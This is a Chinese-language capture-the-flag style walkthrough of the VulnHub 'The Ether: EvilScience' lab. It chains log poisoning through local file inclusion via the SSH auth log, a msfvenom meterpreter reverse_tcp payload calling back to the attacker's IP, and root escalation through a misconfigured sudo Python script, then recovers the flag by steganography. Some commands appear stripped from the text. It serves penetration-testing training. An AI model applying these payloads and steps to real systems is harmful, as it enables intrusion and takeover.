VulnHub-渗透测试案例
靶机链接
https://www.vulnhub.com/entry/the-ether-evilscience,212
运行环境
本靶机提供了VMware的镜像，从Vulnhub下载之后解压，运行文件即可
靶机：本靶机默认使用了自动获取的上网模式。运行靶机之后，将会桥接到物理网卡，接入网络。
攻击机：Kali虚拟机运行于virtualbox，同样使用桥接模式，即可访问靶机。
靶机说明
本靶机有一定难度，不适合初学者。
本靶机的渗透目标为渗透进靶机并且找到系统中隐藏的Flag值。
官方提供了一个提示：靶机中有一个相关的文件，在渗透过程中发挥重要作用，但是不要浪费时间试图去解密这个混淆后的文件。
信息收集
ip发现
首先看一下Kali的网络配置。
之后使用fping发现靶机。发现有本网段有四个相关IP。
端口扫描与服务识别
使用nmap快速扫描选项（参数）扫描网段
根据可以很明显的区分，为TP-Link路由器，为苹果设备，为VMware虚拟机。可以确定为目标靶机的IP。
确定目标IP之后，使用Nmap对目标进行更加详细的探测：
解释一下相关参数：
详细扫描目标IP，加载所有脚本，尽可能全面的探测信息；
显示详细的扫描过程；
将扫描结果以普通文本的格式输出到。结果如下：
威胁建模
分析nmap的扫描结果，发现靶机只开放了和端口，系统为。端口为服务，端口为服务，Web容器为。
通常Web会存在各种各样的问题，经过初步分析，以Web作为初步的渗透入口。
Web漏洞挖掘
1. 使用niktoWeb漏洞扫描器
使用nikto工具扫描Web漏洞，，参数指定扫描目标。
没有发现什么明显的高危漏洞，发现了目录和文件，没有什么利用价值。
2. 使用dirb扫描网站目录
除了部分静态文件，没有发现有价值的利用点。
3. 浏览网站功能
根据前两步基本的信息探测，并没有发现漏洞点。手动访问网站，分析网站功能。
4. 文件包含漏洞测试
为了直观的看到测试结果，这里使用Burpsuite处理http请求。
通过尝试包含Linux系统的配置文件，发现存在一定的限制。
如：包含发现没有结果。
之后测试了几个常见的Apache日志的路径：
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
均无结果。
猜测可能是更改了配置文件的路径，尝试读Apache2的配置文件，，发现也是失败。
尝试通过php伪协议读取php文件源码，也无果。
根据之前整理的文件包含漏洞笔记利用思路:
结合之前信息探测的结果，靶机只开通了与服务。Apache的日志包含失败，尝试包含ssh的登陆日志。
成功读到ssh的登陆日志。
获取shell
1. 获取一句话Webshell
使用一句话作为用户名登陆靶机的ssh。
SSH的日志会记录此次登陆行为，这样就可以把一句话写入ssh的日志文件。测试一下是否成功：
可以看到一句话已经成功写入。
2. msfvenom生成Meterpreter shell
平时使用Msf比较多，这里也以Msf作为接下来主要的渗透工具。
首先生成Linux平台的shell程序。
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f elf > shell.elf `
3. Metasploit 设置监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.102
exploit
4. 种植Meterpreter shell
首先使用Python搭建一个简单的Web Server：
之后利用前面获得的一句话，执行命令，下载生成的木马，并且运行。
分别发送以下请求：
注意:
因为要执行的命令里面有空格、加号等符号，要将payload进行urlencode之后才可以正常执行。
因为生成的木马文件没有执行权限，下载到靶机后也无法执行，所以需要先给添加执行权限，之后再执行。
执行结果：
Web Server及msf的结果：
提升权限
Linux提权的基本思路：
1. 溢出提权
现在拿到了目标靶机的Meterpreter shell，简单的看下信息。
发现系统为，前段时间爆了Ubuntu16.04提权的exp，在这里试一试。
exp 地址：https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
提权失败。
2. 使用msf提权
没有发现可以利用的提权漏洞。
3. 错误的SUID文件提权
进入交互式shell，派生一个bash的shell：
在Web的目录中发现了，这是不应该存在的，猜测是题目所指的特殊文件，而且该文件特别大。
运行一下该py文件，发现是审计日志的程序。 查看Apache2的日志文件，发现是执行了命令，但是因为权限不够，没有执行成功。
仔细查看py文件的权限，发现具有SUID的权限，且文件所属用户为root。
查看一下用户权限。
发现可以不使用密码即可以root权限运行该py文件。这就好办多了。
该py文件的配置错误，导致可以直接以root权限执行命令。
接下来拿root权限的shell。
4. 获取root权限的shell
因为之前已经上传了Msfvenom生成的马，这里再次使用。首先推出shell，命令调入后台，然后再次开启监听，并且置于后台。
利用发现的特殊文件以root权限运行msf木马。
sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf
运行py之后，显示出现问题，不过不影响运行木马。
进入session 2的shell，查看权限：
获取flag
在root的家目录发现了文件：
下载到本地进行分析：
推测接下来的考点属于图片隐写。
经过分析，在图片文件的末尾发现了一串base64
将base64写入，进行解码，get flag：
靶场思路回顾
至此，已经完成最终目标，回头分析一下之前几个失败的点。
1. Web方面利用失败原因
首先看一下index.php的核心代码：
$file = $_GET["file"];
$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);
if ($file == "/var/log/auth.log") {
header("location: index.php");
}
else{
include($file);
}
include($file);
可以看到将一些关键词置空了。
所以，之前利用不成功的点原因如下：
伪协议读文件失败
过滤了且大小写敏感，故不能使用伪协议读文件。
读取配置文件、passwd文件等失败
过滤了，无法读取任何配置文件
读取Apache访问日志失败。
因权限问题，用户无法写入和读取Apache的日志文件。故，包含Apache日志失败。
2. 系统方面利用失败原因
溢出提权失败
通过分析报错，原因可能是因为靶机系统为32位，但exp只支持64位系统。
思路总结
突破点总结：
PHP本地文件包含漏洞发现
SSH日志写入一句话
利用LFI和SSH日志getshell
MSF生成木马，利用一句话植入、运行
利用错误配置SUID程序提权
在完成这次靶场的过程中，可以有很多发散的思路，比如：
文件包含漏洞，可以使用字典Fuzz一下各种配置文件。
使用NC或者其他反弹shell的姿势反弹shell。
此外，Metasploit Framework有很多方便实用的功能，如果能够掌握，会大大简化渗透的某些步骤，值得深入学习。
总体来说，此靶场设计比较简单。一个Web，一个SSH，利用点无非这两个，思路比较清晰，便于实践者完成该靶场。
文章推荐
- 发表于:
- 原文链接：https://kuaibao.qq.com/s/20180620G1I49Q00?refer=cp_1026
- 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号（企鹅号）传播渠道之一，根据《腾讯内容开放平台服务协议》转载发布内容。
- 如有侵权，请联系 cloudcommunity@tencent.com 删除。
相关快讯
扫码
添加站长 进交流群
领取专属 10元无门槛券
私享最新 技术干货
腾讯云开发者
